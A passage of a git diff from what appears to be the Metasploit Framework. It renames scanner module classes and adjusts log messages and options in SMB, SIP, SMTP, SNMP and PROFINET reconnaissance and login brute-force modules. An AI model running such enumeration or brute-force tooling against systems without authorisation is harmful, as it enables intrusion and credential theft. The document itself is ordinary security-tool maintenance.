+ print_line("Device Role: #{device_role}") + when '0102' + ip = hex_to_address(block[6 * 2..10 * 2 - 1]) + snm = hex_to_address(block[10 * 2..14 * 2 - 1]) + gw = hex_to_address(block[14 * 2..18 * 2 - 1]) + print_line("IP, Subnetmask and Gateway are: #{ip}, #{snm}, #{gw}") + end + end + + def parse_profinet(data) + data_to_parse = data[24..-1] + + until data_to_parse.empty? + block_length = data_to_parse[2 * 2..4 * 2 - 1].to_i(16) + block = data_to_parse[0..(4 + block_length) * 2 - 1] + + parse_block(block, block_length) + + padding = block_length % 2 + data_to_parse = data_to_parse[(4 + block_length + padding) * 2..-1] + end + end + + def receive(iface, answertime) + capture = PacketFu::Capture.new(iface: iface, start: true, filter: 'ether proto 0x8892') + sleep answertime + capture.save + i = 0 + capture.array.each do |packet| + data = bin_to_hex(packet).downcase + mac = data[12..13] + ':' + data[14..15] + ':' + data[16..17] + ':' + data[18..19] + ':' + data[20..21] + ':' + data[22..23] + next unless data[28..31] == 'feff' + print_good("Parsing packet from #{mac}") + parse_profinet(data[28..-1]) + print_line('') + i += 1 + end + if i.zero? + print_warning('No devices found, maybe you are running virtually?') + else + print_good("I found #{i} devices for you!") + end + end + + def run + iface = datastore['INTERFACE'] + answertime = datastore['ANSWERTIME'] + packet = "\x00\x00\x88\x92\xfe\xfe\x05\x00\x04\x00\x00\x03\x00\x80\x00\x04\xff\xff\x00\x00\x00\x00" + packet += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + eth_pkt = PacketFu::EthPacket.new + begin + eth_pkt.eth_src = PacketFu::Utils.whoami?(iface: iface)[:eth_src] + rescue + print_error("Error: interface #{iface} not active?") + return + end + eth_pkt.eth_daddr = "01:0e:cf:00:00:00" + eth_pkt.eth_proto = 0x8100 + eth_pkt.payload = packet + print_status("Sending packet out to #{iface}") + eth_pkt.to_w(iface) + + receive(iface, answertime) + end +end diff --git a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb index c584b0e939..d9dfc144ff 100644 --- a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sip/enumerator.rb b/modules/auxiliary/scanner/sip/enumerator.rb index dc9bcb0b3a..9622c45419 100644 --- a/modules/auxiliary/scanner/sip/enumerator.rb +++ b/modules/auxiliary/scanner/sip/enumerator.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/sip/enumerator_tcp.rb b/modules/auxiliary/scanner/sip/enumerator_tcp.rb index 134cf2a2b1..f136b4e210 100644 --- a/modules/auxiliary/scanner/sip/enumerator_tcp.rb +++ b/modules/auxiliary/scanner/sip/enumerator_tcp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sip/options.rb b/modules/auxiliary/scanner/sip/options.rb index 01dc953c4e..dbfb95bb4f 100644 --- a/modules/auxiliary/scanner/sip/options.rb +++ b/modules/auxiliary/scanner/sip/options.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/sip/options_tcp.rb b/modules/auxiliary/scanner/sip/options_tcp.rb index 581283c74e..21f0ae4ff4 100644 --- a/modules/auxiliary/scanner/sip/options_tcp.rb +++ b/modules/auxiliary/scanner/sip/options_tcp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb index 590b4c3a46..a98910c8ca 100644 --- a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb +++ b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index 67304ca6ba..a5e7b7ed72 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary end if(pass.length > 0) - print_status("#{ip} - Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}") + print_status("Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}") # Add Report report_note( :host => ip, diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index b7c68054c6..28b78f6ad8 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client @@ -274,7 +274,7 @@ class Metasploit3 < Msf::Auxiliary begin dcerpc_bind(handle) - print_line("#{ip} - UUID #{uuid[0]} #{uuid[1]} OPEN VIA #{datastore['SMBPIPE']}") + print_line("UUID #{uuid[0]} #{uuid[1]} OPEN VIA #{datastore['SMBPIPE']}") # Add Report report_note( :host => ip, diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index 6717969a73..c150e7e810 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client::Psexec diff --git a/modules/auxiliary/scanner/smb/smb2.rb b/modules/auxiliary/scanner/smb/smb2.rb index d145bd5b26..f54004bbe9 100644 --- a/modules/auxiliary/scanner/smb/smb2.rb +++ b/modules/auxiliary/scanner/smb/smb2.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should go first include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb index 1100dd05c1..1a492f17f3 100644 --- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/parser/group_policy_preferences' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -62,11 +62,11 @@ class Metasploit3 < Msf::Auxiliary when 'STATUS_OBJECT_PATH_NOT_FOUND' vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") when 'STATUS_ACCESS_DENIED' - vprint_error("Host #{ip} reports access denied.") + vprint_error("Host reports access denied.") when 'STATUS_BAD_NETWORK_NAME' - vprint_error("Host #{ip} is NOT connected to #{datastore['SMBDomain']}!") + vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!") when 'STATUS_INSUFF_SERVER_RESOURCES' - vprint_error("Host #{ip} rejected with insufficient resources!") + vprint_error("Host rejected with insufficient resources!") when 'STATUS_OBJECT_NAME_INVALID' vprint_error("opening \\#{path} bad filename") else diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index e4118ded74..b16a59787e 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client @@ -187,7 +187,7 @@ class Metasploit3 < Msf::Auxiliary )) rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if e.error_code == 0xC00000BB - vprint_error("#{ip}:#{rport} - Got 0xC00000BB while enumerating shares, switching to srvsvc...") + vprint_error("Got 0xC00000BB while enumerating shares, switching to srvsvc...") @srvsvc = true # Make sure the module is aware of this state return srvsvc_netshareenum(ip) end @@ -224,7 +224,7 @@ class Metasploit3 < Msf::Auxiliary begin dcerpc_bind(handle) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error("#{ip} : #{e.message}") + vprint_error(e.message) return [] end @@ -321,7 +321,7 @@ class Metasploit3 < Msf::Auxiliary write = false # Creating a separate file for each IP address's results. - detailed_tbl = Rex::Ui::Text::Table.new( + detailed_tbl = Rex::Text::Table.new( 'Header' => "Spidered results for #{ip}.", 'Indent' => 1, 'Columns' => [ 'IP Address', 'Type', 'Share', 'Path', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size' ] @@ -336,7 +336,7 @@ class Metasploit3 < Msf::Auxiliary next end if not datastore['ShowFiles'] - print_status("#{ip}:#{rport} - Spidering #{x}.") + print_status("Spidering #{x}.") end subdirs = [""] if x.strip() == "C$" and datastore['SpiderProfiles'] @@ -361,14 +361,14 @@ class Metasploit3 < Msf::Auxiliary subdirs.shift next end - header = "#{ip}:#{rport}" + header = "" if simple.client.default_domain and simple.client.default_name header << " \\\\#{simple.client.default_domain}" end header << "\\#{x.sub("C$","C$\\")}" if simple.client.default_name header << subdirs[0] - pretty_tbl = Rex::Ui::Text::Table.new( + pretty_tbl = Rex::Text::Table.new( 'Header' => header, 'Indent' => 1, 'Columns' => [ 'Type', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size' ] @@ -408,18 +408,18 @@ class Metasploit3 < Msf::Auxiliary end subdirs.shift end - print_status("#{ip}:#{rport} - Spider #{x} complete.") unless datastore['ShowFiles'] == true + print_status("Spider #{x} complete.") unless datastore['ShowFiles'] end unless detailed_tbl.rows.empty? if datastore['LogSpider'] == '1' p = store_loot('smb.enumshares', 'text/csv', ip, detailed_tbl.to_csv) - print_good("#{ip} - info saved in: #{p.to_s}") + print_good("info saved in: #{p.to_s}") elsif datastore['LogSpider'] == '2' p = store_loot('smb.enumshares', 'text/plain', ip, detailed_tbl) - print_good("#{ip} - info saved in: #{p.to_s}") + print_good("info saved in: #{p.to_s}") elsif datastore['LogSpider'] == '3' p = store_loot('smb.enumshares', 'text/plain', ip, logdata) - print_good("#{ip} - info saved in: #{p.to_s}") + print_good("info saved in: #{p.to_s}") end end end @@ -453,12 +453,12 @@ class Metasploit3 < Msf::Auxiliary end os_info = get_os_info(ip, rport) - print_status("#{ip}:#{rport} - #{os_info}") if os_info + print_status(os_info) if os_info if shares.empty? - print_status("#{ip}:#{rport} - No shares collected") + print_status("No shares collected") else - shares_info = shares.map{|x| "#{ip}:#{rport} - #{x[0]} - (#{x[1]}) #{x[2]}" }.join(", ") + shares_info = shares.map{|x| "#{x[0]} - (#{x[1]}) #{x[2]}" }.join(", ") shares_info.split(", ").each { |share| print_good share } @@ -482,7 +482,7 @@ class Metasploit3 < Msf::Auxiliary raise $! rescue ::Rex::Proto::SMB::Exceptions::LoginError, ::Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{ip}:#{rport} - #{e.message}") + print_error(e.message) return if e.message =~ /STATUS_ACCESS_DENIED/ rescue Errno::ECONNRESET, ::Rex::Proto::SMB::Exceptions::InvalidType, @@ -490,7 +490,7 @@ class Metasploit3 < Msf::Auxiliary ::Rex::Proto::SMB::Exceptions::InvalidCommand, ::Rex::Proto::SMB::Exceptions::InvalidWordCount, ::Rex::Proto::SMB::Exceptions::NoReply => e - vprint_error("#{ip}:#{rport} - #{e.message}") + vprint_error(e.message) next if not shares.empty? and rport == 139 # no results, try again rescue Errno::ENOPROTOOPT print_status("Wait 5 seconds before retrying...") @@ -499,7 +499,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Exception => e next if e.to_s =~ /execution expired/ next if not shares.empty? and rport == 139 - vprint_error("#{ip}:#{rport} - Error: '#{ip}' '#{e.class}' '#{e.to_s}'") + vprint_error("Error: '#{ip}' '#{e.class}' '#{e.to_s}'") ensure disconnect end diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb index 3238c66dfc..4f530bac69 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil if ! (resp and resp.length == 24) - print_error("#{ip} Invalid response from the Connect5 request") + print_error("Invalid response from the Connect5 request") disconnect return end @@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary end if(perror != 0) - print_error("#{ip} Received error #{"0x%.8x" % perror} from the OpenPolicy2 request") + print_error("Received error #{"0x%.8x" % perror} from the OpenPolicy2 request") disconnect return end @@ -312,7 +312,7 @@ class Metasploit3 < Msf::Auxiliary extra << "PasswordMin=#{domains[domain][:pass_min]} " extra << ")" end - print_status("#{ip} #{domain.upcase} [ #{users.keys.map{|k| users[k]}.join(", ")} ] #{extra}") + print_status("#{domain.upcase} [ #{users.keys.map{|k| users[k]}.join(", ")} ] #{extra}") end # cleanup diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index e8775e681f..06d4a0aa71 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client @@ -163,11 +163,11 @@ class Metasploit3 < Msf::Auxiliary if datastore['VERBOSE'] accounts.each do |x| - print_status ip + " : " + x[:logon_domain] + "\\" + x[:account_name] + + print_status x[:logon_domain] + "\\" + x[:account_name] + "\t(logon_server: #{x[:logon_server]}, other_domains: #{x[:other_domains]})" end else - print_status "#{ip} : #{accounts.collect{|x| x[:logon_domain] + "\\" + x[:account_name]}.join(", ")}" + print_status "#{accounts.collect{|x| x[:logon_domain] + "\\" + x[:account_name]}.join(", ")}" end found_accounts = [] @@ -181,16 +181,16 @@ class Metasploit3 < Msf::Auxiliary next end - print_good("#{ip} - Found user: #{comp_user}") + print_good("Found user: #{comp_user}") store_username(comp_user, resp, ip, rport) end rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - print_line("UUID #{uuid[0]} #{uuid[1]} ERROR 0x%.8x" % e.error_code) + print_error("UUID #{uuid[0]} #{uuid[1]} ERROR 0x%.8x" % e.error_code) #puts e #return rescue ::Exception => e - print_line("UUID #{uuid[0]} #{uuid[1]} ERROR #{$!}") + print_error("UUID #{uuid[0]} #{uuid[1]} ERROR #{$!}") #puts e #return end diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 0fdf529ca7..64f6ee54e8 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/smb' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client @@ -56,7 +56,8 @@ class Metasploit3 < Msf::Auxiliary [ Opt::Proxies, OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]), - OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]) + OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]), + OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true]) ], self.class) end @@ -69,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary @scanner = Metasploit::Framework::LoginScanner::SMB.new( host: ip, port: rport, + local_port: datastore['CPORT'], stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, @@ -87,13 +89,17 @@ class Metasploit3 < Msf::Auxiliary send_spn: datastore['NTLM::SendSPN'], ) - bogus_result = @scanner.attempt_bogus_login(domain) - if bogus_result.success? - if bogus_result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST - print_status("#{ip} - This system allows guest sessions with any credentials") + if datastore['DETECT_ANY_AUTH'] + bogus_result = @scanner.attempt_bogus_login(domain) + if bogus_result.success? + if bogus_result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST + print_status("This system allows guest sessions with any credentials") + else + print_error("This system accepts authentication with any credentials, brute force is ineffective.") + return + end else - print_error("#{ip} - This system accepts authentication with any credentials, brute force is ineffective.") - return + vprint_status('This system does not accept authentication with any credentials, proceeding with brute force') end end diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index eddfc7c841..7f9b27109f 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client @@ -178,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil if ! (resp and resp.length == 24) - print_error("#{ip} Invalid response from the OpenPolicy request") + print_error("Invalid response from the OpenPolicy request") disconnect return end @@ -193,7 +193,7 @@ class Metasploit3 < Msf::Auxiliary end if(perror != 0) - print_error("#{ip} Received error #{"0x%.8x" % perror} from the OpenPolicy2 request") + print_error("Received error #{"0x%.8x" % perror} from the OpenPolicy2 request") disconnect return end @@ -211,7 +211,7 @@ class Metasploit3 < Msf::Auxiliary domain_sid, domain_name = smb_parse_sid(resp) # Store SID, local domain name, joined domain name - print_status("#{ip} PIPE(#{lsa_pipe}) LOCAL(#{host_name} - #{host_sid}) DOMAIN(#{domain_name} - #{domain_sid})") + print_status("PIPE(#{lsa_pipe}) LOCAL(#{host_name} - #{host_sid}) DOMAIN(#{domain_name} - #{domain_sid})") domain = { :name => host_name, @@ -226,7 +226,7 @@ class Metasploit3 < Msf::Auxiliary when 'DOMAIN' # Fallthrough to the host SID if no domain SID was returned unless domain_sid - print_error("#{ip} No domain SID identified, falling back to the local SID...") + print_error("No domain SID identified, falling back to the local SID...") end domain_sid || host_sid end @@ -265,13 +265,13 @@ class Metasploit3 < Msf::Auxiliary utype,uname = smb_parse_sid_lookup(resp) case utype when 1 - print_status("#{ip} USER=#{uname} RID=#{rid}") + print_status("USER=#{uname} RID=#{rid}") domain[:users][rid] = uname when 2 domain[:groups][rid] = uname - print_status("#{ip} GROUP=#{uname} RID=#{rid}") + print_status("GROUP=#{uname} RID=#{rid}") else - print_status("#{ip} TYPE=#{utype} NAME=#{uname} rid=#{rid}") + print_status("TYPE=#{utype} NAME=#{uname} rid=#{rid}") end end @@ -284,7 +284,7 @@ class Metasploit3 < Msf::Auxiliary :data => domain ) - print_status("#{ip} #{domain[:name].upcase} [#{domain[:users].keys.map{|k| domain[:users][k]}.join(", ")} ]") + print_status("#{domain[:name].upcase} [#{domain[:users].keys.map{|k| domain[:users][k]}.join(", ")} ]") disconnect return @@ -295,7 +295,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::Proto::SMB::Exceptions::LoginError next rescue ::Exception => e - print_line("Error: #{ip} #{e.class} #{e}") + print_line("Error: #{e.class} #{e}") end end end diff --git a/modules/auxiliary/scanner/smb/smb_uninit_cred.rb b/modules/auxiliary/scanner/smb/smb_uninit_cred.rb index 8a0c584137..9ffcc26c16 100644 --- a/modules/auxiliary/scanner/smb/smb_uninit_cred.rb +++ b/modules/auxiliary/scanner/smb/smb_uninit_cred.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 9a1c016918..da99af59a9 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'recog' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -108,12 +108,28 @@ class Metasploit3 < Msf::Auxiliary end if simple.client.default_domain - desc << " (domain:#{simple.client.default_domain})" + if simple.client.default_domain.encoding.name == "UTF-8" + desc << " (domain:#{simple.client.default_domain})" + else + # Workgroup names are in ANSI, but may contain invalid characters + # Go through each char and convert/check + temp_workgroup = simple.client.default_domain.dup + desc << " (workgroup:" + temp_workgroup.each_char do |i| + begin + desc << i.encode("UTF-8") + rescue Encoding::UndefinedConversionError => e + desc << '?' + print_error("Found incompatible (non-ANSI) character in Workgroup name. Replaced with '?'") + end + end + desc << " )" + end conf[:SMBDomain] = simple.client.default_domain match_conf['host.domain'] = conf[:SMBDomain] end - print_status("#{rhost}:#{rport} is running #{desc}") + print_status("Host is running #{desc}") # Report the service with a friendly banner report_service( @@ -136,7 +152,7 @@ class Metasploit3 < Msf::Auxiliary else desc = "#{res['native_os']} (#{res['native_lm']})" report_service(:host => ip, :port => rport, :name => 'smb', :info => desc) - print_status("#{rhost}:#{rport} could not be identified: #{desc}") + print_status("Host could not be identified: #{desc}") end # Report a smb.fingerprint hash of attributes for OS fingerprinting diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb index 7ff74bee87..ba2a9d2604 100644 --- a/modules/auxiliary/scanner/smtp/smtp_enum.rb +++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb b/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb index eae920be73..e259235d43 100644 --- a/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb +++ b/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index cac03b0b94..cc85ccee35 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/smtp/smtp_version.rb b/modules/auxiliary/scanner/smtp/smtp_version.rb index 54069a0dfb..6e6369efe3 100644 --- a/modules/auxiliary/scanner/smtp/smtp_version.rb +++ b/modules/auxiliary/scanner/smtp/smtp_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/snmp/aix_version.rb b/modules/auxiliary/scanner/snmp/aix_version.rb index 99d8353ee0..e75cd693f7 100644 --- a/modules/auxiliary/scanner/snmp/aix_version.rb +++ b/modules/auxiliary/scanner/snmp/aix_version.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/arris_dg950.rb b/modules/auxiliary/scanner/snmp/arris_dg950.rb index a071e85520..91efc6d3b9 100644 --- a/modules/auxiliary/scanner/snmp/arris_dg950.rb +++ b/modules/auxiliary/scanner/snmp/arris_dg950.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb index f78cc130b9..7921276cb0 100644 --- a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb +++ b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb index 6f4172e35d..f0c7d77486 100644 --- a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb +++ b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Cisco diff --git a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb index bad6580176..0a7f640504 100644 --- a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb +++ b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Cisco diff --git a/modules/auxiliary/scanner/snmp/netopia_enum.rb b/modules/auxiliary/scanner/snmp/netopia_enum.rb index 8fe98c4273..8af295c94c 100644 --- a/modules/auxiliary/scanner/snmp/netopia_enum.rb +++ b/modules/auxiliary/scanner/snmp/netopia_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 904d5e8b0f..1e09a58b45 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb index 07530dafd5..ee6725b32a 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb index dd54f5cd9e..596b5b508b 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git 